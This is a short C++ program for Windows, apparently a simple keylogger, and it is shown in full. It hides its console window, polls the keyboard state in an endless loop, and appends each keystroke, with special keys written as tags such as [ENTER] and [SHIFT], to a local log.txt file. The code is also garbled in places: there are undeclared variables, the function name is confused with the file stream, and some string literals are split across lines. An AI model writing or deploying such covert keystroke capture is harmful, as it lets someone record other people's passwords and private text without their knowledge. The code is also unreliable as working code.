#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
string key = "";
void log (string input) {
// write to log
fstream Log;
Log.open("log.txt", fstream::app);
if (Log.is_open()) {
log<<input;
log.close();
}
}
bool specialChars(int key) {
switch (key) {
case VK_SPACE:
sKey = " ";
return true;
case VK_RETURN:
sKey="[ENTER]";
return true;
case VK_SHIFT:
sKey = "[SHIFT]";
return true;
case VK_BACK:
sKey = "[BACKSPACE]";
return true;
case VK_RBUTTON:
sKey = "[RCLICK]";
return true;
case VK_CAPITAL:
sKey = "[CAPSLOCK]";
return true;
case VK_TAB:
sKey="[TAB]";
return true;
case VK_UP:
sKey = "[UP]";
return true;
case VK_DOWN:
sKey = "[DOWN]";
return true;
case VK_LEFT:
sKey = "
";
return true;
case VK_RIGHT:
sKey = "
";
return true;
case VK_CONTROL:
sKey="[CTRL]";
return true;
case VK_MENU:
sKey="[ALT]";
return true;
default:
return false;
}
}
int main() {
// Hide the window
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while (true) {
for (int KEY = 8; KEY < 191; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
if (!specialChars(KEY)) {
fstream Log;
Log.open("log.txt", fstream::app);
if (Log.is_open()) {
Log<<char(KEY);
log.close();
};
} else {
log(sKey);
}
}
}
}
}